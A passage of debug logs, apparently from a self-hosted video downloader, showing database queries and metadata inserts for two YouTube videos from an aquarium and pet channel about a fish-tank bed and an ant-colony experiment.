m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:04.773 [debug] QUERY OK source="media_items" db=0.3ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [140290] 11:12:04.773 [debug] Current batch of media processed. Will check again in 1000ms 11:12:05.774 [debug] Current batch of media processed. Will check again in 1000ms 11:12:06.775 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I turned my bed into a REAL fish tank! \n\nIn this video, we spend 50 days turning my bed into a real tide pool fish tank! We fill it up with real fish, live corals and so much more! And if my fish tank bed doesn’t break... I’m spending the night on it.\n\n🐠 s/o to Andrew and the @PoloReef team for the help! Be sure to check out this video to learn more about Andrew’s passion for aquariums and how his epic 17,000 gallon tank was built: https://www.youtube.com/watch?v=DtK3hIBlRd8 \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the aquarium kit featuring a fish tank and Seachem products to get you started! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, our team faces many challenges, from the saltwater ecosystem almost crashing to a sneaky predator eating all our hermit crabs. We even use real-life robotics, 3D printing and automated engineering to solve our problems and craft solutions to fix our custom tidepool reef tank bed.\n\nWhile Jamie and Joelle build, Outdoor Adam travels to NYC to visit Andrew Sandler and @PoloReef. Adam’s mission is to learn about real tide pool saltwater ecosystems so the team can create the perfect tide pool bed ecosystem in Jamie’s dream bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom with a real tide pool under her! It’s always been a childhood dream to transform my bedroom into a fish tank and this is the closest I’ve gotten to turning my bedroom into a fish tank! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, extreme room transformations, exotic pets, oceans, tide pools, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this waterbed dream bedroom transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Sleep Tight!\" so I notice you 😴\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 955, "filename" => "/downloads/shows/Aquarium Info/Season 2026/s2026e041800 - I Turned my Bed into a Fish Tank!.mkv", "id" => "HH2gKrl22Fw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=HH2gKrl22Fw", "playlist_index" => 2, "timestamp" => 1776520980, "title" => "I Turned my Bed into a Fish Tank!", "upload_date" => "20260418"} 11:12:06.776 [debug] QUERY OK source="sources" db=0.2ms idle=884.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:06.776 [debug] QUERY OK source="sources" db=0.1ms idle=884.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:06.777 [debug] QUERY OK source="media_items" db=0.5ms idle=885.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-18 14:03:00Z], 32] 11:12:06.779 [debug] QUERY OK source="media_items" db=1.5ms idle=885.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I turned my bed into a REAL fish tank! \n\nIn this video, we spend 50 days turning my bed into a real tide pool fish tank! We fill it up with real fish, live corals and so much more! And if my fish tank bed doesn’t break... I’m spending the night on it.\n\n🐠 s/o to Andrew and the @PoloReef team for the help! Be sure to check out this video to learn more about Andrew’s passion for aquariums and how his epic 17,000 gallon tank was built: https://www.youtube.com/watch?v=DtK3hIBlRd8 \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the aquarium kit featuring a fish tank and Seachem products to get you started! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, our team faces many challenges, from the saltwater ecosystem almost crashing to a sneaky predator eating all our hermit crabs. We even use real-life robotics, 3D printing and automated engineering to solve our problems and craft solutions to fix our custom tidepool reef tank bed.\n\nWhile Jamie and Joelle build, Outdoor Adam travels to NYC to visit Andrew Sandler and @PoloReef. Adam’s mission is to learn about real tide pool saltwater ecosystems so the team can create the perfect tide pool bed ecosystem in Jamie’s dream bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom with a real tide pool under her! It’s always been a childhood dream to transform my bedroom into a fish tank and this is the closest I’ve gotten to turning my bedroom into a fish tank! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, extreme room transformations, exotic pets, oceans, tide pools, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this waterbed dream bedroom transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Sleep Tight!\" so I notice you 😴\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned my Bed into a Fish Tank!", "f635909d-4dbb-4e93-b976-579f3a0355d0", "HH2gKrl22Fw", false, "https://www.youtube.com/watch?v=HH2gKrl22Fw", 32, [], 955, false, 2, "/downloads/shows/Aquarium Info/Season 2026/s2026e041800 - I Turned my Bed into a Fish Tank!.mkv", false, false, 98, ~U[2026-04-18 14:03:00Z], ~U[2026-06-02 15:12:06Z], ~U[2026-06-02 15:12:06Z], "I turned my bed into a REAL fish tank! \n\nIn this video, we spend 50 days turning my bed into a real tide pool fish tank! We fill it up with real fish, live corals and so much more! And if my fish tank bed doesn’t break... I’m spending the night on it.\n\n🐠 s/o to Andrew and the @PoloReef team for the help! Be sure to check out this video to learn more about Andrew’s passion for aquariums and how his epic 17,000 gallon tank was built: https://www.youtube.com/watch?v=DtK3hIBlRd8 \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the aquarium kit featuring a fish tank and Seachem products to get you started! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, our team faces many challenges, from the saltwater ecosystem almost crashing to a sneaky predator eating all our hermit crabs. We even use real-life robotics, 3D printing and automated engineering to solve our problems and craft solutions to fix our custom tidepool reef tank bed.\n\nWhile Jamie and Joelle build, Outdoor Adam travels to NYC to visit Andrew Sandler and @PoloReef. Adam’s mission is to learn about real tide pool saltwater ecosystems so the team can create the perfect tide pool bed ecosystem in Jamie’s dream bedroom.\n\nWatch until the end to see if Jamie sleeps in her new dream bedroom with a real tide pool under her! It’s always been a childhood dream to transform my bedroom into a fish tank and this is the closest I’ve gotten to turning my bedroom into a fish tank! This video is perfect for anyone who is passionate about bedroom makeovers, dream bedrooms, extreme room transformations, exotic pets, oceans, tide pools, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this waterbed dream bedroom transformation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Sleep Tight!\" so I notice you 😴\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned my Bed into a Fish Tank!", "HH2gKrl22Fw", "https://www.youtube.com/watch?v=HH2gKrl22Fw", 32, 955, false, "/downloads/shows/Aquarium Info/Season 2026/s2026e041800 - I Turned my Bed into a Fish Tank!.mkv", false, ~U[2026-04-18 14:03:00Z]] 11:12:06.779 [debug] QUERY OK source="sources" db=0.2ms idle=24.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:06.780 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:06.780 [debug] QUERY OK source="media_items" db=0.3ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [129938] 11:12:06.780 [debug] Current batch of media processed. Will check again in 1000ms 11:12:07.781 [debug] Current batch of media processed. Will check again in 1000ms 11:12:08.782 [debug] Current batch of media processed. Will check again in 1000ms 11:12:09.783 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I simulated an ant colony for 100 days! \n\nWhat happens when two rival colonies of 1,000 ants go head-to-head in the ultimate rich vs. poor ecosystem simulation?? 🐜\n\nIn this video, we put two massive ant colonies up against each other in a series of intense obstacles. Starting with just 2 queen ants, we grew both colonies to over 1,000 ants over the course of 100 days. But there’s a twist: the colonies are divided by class… rich vs. poor. Each side has its own set of resources and must face extreme challenges, from spawning new life and suffering great losses, to fighting off a rare predator.\n\nWhen the 100 days are up, the two colonies finally meet face-to-face. Watch until the end to see the results of the simulation: will they become friends or will it end in total destruction?\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nWhile the indoor ant army is growing, Outdoor Adam heads into the wilderness to track down an ant colony in real life! His mission? To study wild ants so we can build the absolute perfect DIY ant ecosystem. A big thank you to Roberto at Caribe Sur Tours in Costa Rica for helping Adam on his jungle trek! Check them out here: https://caribesurcr.com/\n\nThis video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect ecosystem for their pet.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Greenies vs. Wastelanders\" so I notice you 🐜\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 883, "filename" => "/downloads/shows/Aquarium Info/Season 2026/s2026e030100 - 1,000 Ants vs. 1,000 Ants (Rich vs. Poor).mkv", "id" => "0koP25v7-1c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=0koP25v7-1c", "playlist_index" => 3, "timestamp" => 1772390561, "title" => "1,000 Ants vs. 1,000 Ants (Rich vs. Poor)", "upload_date" => "20260301"} 11:12:09.784 [debug] QUERY OK source="sources" db=0.2ms idle=1892.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:09.784 [debug] QUERY OK source="sources" db=0.1ms idle=1892.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:09.785 [debug] QUERY OK source="media_items" db=0.5ms idle=1893.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-01 18:42:41Z], 32] 11:12:09.787 [debug] QUERY OK source="media_items" db=1.4ms idle=1028.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I simulated an ant colony for 100 days! \n\nWhat happens when two rival colonies of 1,000 ants go head-to-head in the ultimate rich vs. poor ecosystem simulation?? 🐜\n\nIn this video, we put two massive ant colonies up against each other in a series of intense obstacles. Starting with just 2 queen ants, we grew both colonies to over 1,000 ants over the course of 100 days. But there’s a twist: the colonies are divided by class… rich vs. poor. Each side has its own set of resources and must face extreme challenges, from spawning new life and suffering great losses, to fighting off a rare predator.\n\nWhen the 100 days are up, the two colonies finally meet face-to-face. Watch until the end to see the results of the simulation: will they become friends or will it end in total destruction?\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nWhile the indoor ant army is growing, Outdoor Adam heads into the wilderness to track down an ant colony in real life! His mission? To study wild ants so we can build the absolute perfect DIY ant ecosystem. A big thank you to Roberto at Caribe Sur Tours in Costa Rica for helping Adam on his jungle trek! Check them out here: https://caribesurcr.com/\n\nThis video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect ecosystem for their pet.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Greenies vs. Wastelanders\" so I notice you 🐜\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "1,000 Ants vs. 1,000 Ants (Rich vs. Poor)", "d1e808f3-e8b4-4680-8942-62b28b8a82c3", "0koP25v7-1c", false, "https://www.youtube.com/watch?v=0koP25v7-1c", 32, [], 883, false, 3, "/downloads/shows/Aquarium Info/Season 2026/s2026e030100 - 1,000 Ants vs. 1,000 Ants (Rich vs. Poor).mkv", false, false, 98, ~U[2026-03-01 18:42:41Z], ~U[2026-06-02 15:12:09Z], ~U[2026-06-02 15:12:09Z], "I simulated an ant colony for 100 days! \n\nWhat happens when two rival colonies of 1,000 ants go head-to-head in the ultimate rich vs. poor ecosystem simulation?? 🐜\n\nIn this video, we put two massive ant colonies up against each other in a series of intense obstacles. Starting with just 2 queen ants, we grew both colonies to over 1,000 ants over the course of 100 days. But there’s a twist: the colonies are divided by class… rich vs. poor. Each side has its own set of resources and must face extreme challenges, from spawning new life and suffering great losses, to fighting off a rare predator.\n\nWhen the 100 days are up, the two colonies finally meet face-to-face. Watch until the end to see the results of the simulation: will they become friends or will it end in total destruction?\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nWhile the indoor ant army is growing, Outdoor Adam heads into the wilderness to track down an ant colony in real life! His mission? To study wild ants so we can build the absolute perfect DIY ant ecosystem. A big thank you to Roberto at Caribe Sur Tours in Costa Rica for helping Adam on his jungle trek! Check them out here: https://caribesurcr.com/\n\nThis video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect ecosystem for their pet.\n\nIf you have any comments, suggestions or questions for this ant simulation video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Greenies vs. Wastelanders\" so I notice you 🐜\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "1,000 Ants vs. 1,000 Ants (Rich vs. Poor)", "0koP25v7-1c", "https://www.youtube.com/watch?v=0koP25v7-1c", 32, 883, false, "/downloads/shows/Aquarium Info/Season 2026/s2026e030100 - 1,000 Ants vs. 1,000 Ants (Rich vs. Poor).mkv", false, ~U[2026-03-01 18:42:41Z]] 11:12:09.787 [debug] QUERY OK source="sources" db=0.2ms idle=29.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:09.788 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:09.788 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN 